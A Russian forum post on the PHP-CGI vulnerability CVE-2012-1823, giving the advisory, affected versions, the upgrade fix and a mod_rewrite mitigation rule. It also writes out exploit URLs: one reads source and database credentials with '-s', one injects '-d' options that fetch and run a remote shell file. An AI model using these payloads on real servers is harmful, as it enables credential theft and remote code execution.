PHP-CGI EXPLOIT: CVE-2012-1823, POC EXPLOIT Уязвимые версии: PHP 5.3.11 и более ранние версии PHP 5.4.1 и более ранние версии Описание: Уязвимость позволяет удаленному пользователю обойти ограничения безопасности на системе. Уязвимость существует из-за того, что при использовании основанной на CGI настройки php-cgi получает обработанную строку пареметра запроса в виде аргумента командной строки, что позволяет передавать такие значения, как -s, -d или –c бинарному файлу php-cgi. Удаленный пользователь может раскрыть содержимое исходного кода, а также выполнить произвольный код на системе. Примечание: Уязвимость не распространяется на Apache+mod_php и nginx+php-fpm. Решение: Для устранения уязвимости установите продукт версии 5.3.12 или PHP 5.4.2 с сайта производителя. (c) securitylab з.ы. костыль Код: So, right now you will probably want to use the following RewriteRule: RewriteEngine on RewriteCond %{QUERY_STRING} ^[^=]*$ RewriteCond %{QUERY_STRING} %2d|\- [NC] RewriteRule .? - [F,L] http://www.php-security.net/archives/11-Mitigation-for-CVE-2012-1823-CVE-2012-2311.html
как пример, этой уязвимости был подвержен один из серверов (а может и больше) хостинга hc.ru. Сейчас уже пофиксили. Ключ -s для просмотра исходного кода, можно было посмотреть например site.com/config.php?-s и вытащить данные подключения к БД. Ключ -d можно было заюзать для заливки шелла site.com/?-d%20allow_url_include%3DOn+-d%20auto_prepend_file%3Dhttp://site.com/shell.txt%20-n#